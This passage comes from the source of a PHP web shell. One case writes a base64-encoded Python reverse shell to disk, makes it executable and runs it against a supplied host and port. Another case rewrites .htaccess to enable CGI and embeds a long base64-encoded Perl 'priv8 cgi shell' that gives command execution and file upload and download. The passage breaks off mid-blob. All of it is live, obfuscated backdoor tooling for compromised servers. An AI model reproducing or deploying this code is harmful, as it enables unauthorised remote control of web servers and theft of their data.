4346cmludCAnWy1dU29ja2V0RXJyb3InLHN5cy5leGNfdmFsdWUKICAgIHN5cy5leGl0KDEpCnNvY2tv
4347
4348Ymouc2VuZCgiLjpiaW5ic2hlbGw6LlxuICVzIiVpbmZvKQpvcy5kdXAyKHNvY2tvYmouZmlsZW5v
4349
4350KCksMikKb3MuZHVwMihzb2Nrb2JqLmZpbGVubygpLDEpCm9zLmR1cDIoc29ja29iai5maWxlbm8o
4351
4352KSwwKQpvcy5leGVjbCgiL2Jpbi9zaCIsInNoIik=';
4353
4354$file = fopen("conp" ,"w+");
4355
4356$write = fwrite ($file ,base64_decode($izoemmi));
4357
4358fclose($file);
4359
4360chmod("conp" , 0777);
4361
4362system("./conp $fipc $bportc");
4363
4364}
4365
4366break;
4367
4368case "PHP_6":
4369
4370 mkdir('cgitelnet1', 0755);
4371
4372 chdir('cgitelnet1');
4373
4374 $kokdosya = ".htaccess";
4375
4376 $dosya_adi = "$kokdosya";
4377
4378 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
4379
4380 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
4381
4382
4383
4384AddType application/x-httpd-cgi .cin
4385
4386
4387
4388AddHandler cgi-script .cin
4389
4390AddHandler cgi-script .cin";
4391
4392 fwrite ( $dosya , $metin ) ;
4393
4394 fclose ($dosya);
4395
4396$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
4397
4398LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4399
4400LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
4401
4402cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4403
4404LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
4405
4406LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4407
4408LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
4409
4410IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
4411
4412cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4413
4414LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
4415
4416b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
4417
4418cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
4419
4420dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
4421
4422cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
4423
4424biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
4425
4426ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
4427
4428bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
4429
4430cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
4431
4432DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
4433
4434dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
4435
4436ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
4437
4438CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
4439
4440ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
4441
4442aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
4443
4444cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
4445
4446IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
4447
4448dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
4449
4450CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
4451
4452IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
4453
4454bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
4455
4456VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
4457
4458ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
4459
4460InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
4461
4462ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
4463
4464LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4465
4466LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
4467
4468ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
4469
4470YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
4471
4472bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
4473
4474bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
4475
4476aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
4477
4478OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
4479
4480R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4481
4482LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
4483
4484DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
4485
4486Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
4487
4488aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
4489
4490RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
4491
4492CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
4493
4494U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
4495
4496LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
4497
4498YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
4499
4500b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
4501
4502ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
4503
4504YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
4505
4506CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
4507
4508dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
4509
4510ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
4511
4512ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
4513
4514CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
4515
4516CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
4517
4518Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
4519
4520fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
4521
4522KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
4523
4524cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
4525
4526bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
4527
4528ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
4529
4530CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
4531
4532JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
4533
4534ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
4535
4536Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4537
4538LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
4539
4540QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
4541
4542Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4543
4544LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
4545
4546Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
4547
4548ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
4549
4550dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
4551
4552aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
4553
4554d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
4555
4556CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
4557
4558aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
4559
4560b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
4561
4562cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
4563
4564cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
4565
4566dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
4567
4568ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
4569
4570PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
4571
4572emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
4573
4574NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
4575
4576dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
4577
4578Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
4579
4580P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
4581
4582b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
4583
4584YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
4585
4586aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
4587
4588dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
4589
4590PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
4591
4592LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4593
4594LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
4595
4596LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4597
4598LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
4599
4600c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
4601
4602ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
4603
4604ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
4605
4606TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
4607
4608ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
4609
4610RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4611
4612LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
4613
4614IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
4615
4616LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4617
4618LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
4619
4620DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
4621
4622Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4623
4624LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
4625
4626cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4627
4628LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
4629
4630dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
4631
4632PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
4633
4634PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
4635
4636Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
4637
4638Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
4639
4640MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
4641
4642IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
4643
4644DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4645
4646LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
4647
4648TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4649
4650LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
4651
4652cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
4653
4654LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4655
4656LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
4657
4658biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
4659
4660LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4661
4662LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
4663
4664KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
4665
4666cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
4667
4668JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4669
4670LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
4671
4672aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4673
4674LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
4675
4676CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
4677
4678ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
4679
4680LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4681
4682LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
4683
4684IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4685
4686LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
4687
4688aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
4689
4690CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
4691
4692TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
4693
4694CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4695
4696LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
4697
4698aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
4699
4700Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
4701
4702ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
4703
4704cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
4705
4706LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4707
4708LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
4709
4710c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
4711
4712RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
4713
4714aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
4715
4716IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
4717
4718JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
4719
4720c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
4721
4722CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
4723
4724LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4725
4726LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
4727
4728aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4729
4730LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
4731
4732aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
4733
4734RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
4735
4736PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
4737
4738cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
4739
4740ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
4741
4742JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
4743
4744dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
4745
4746LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4747
4748LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
4749
4750ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4751
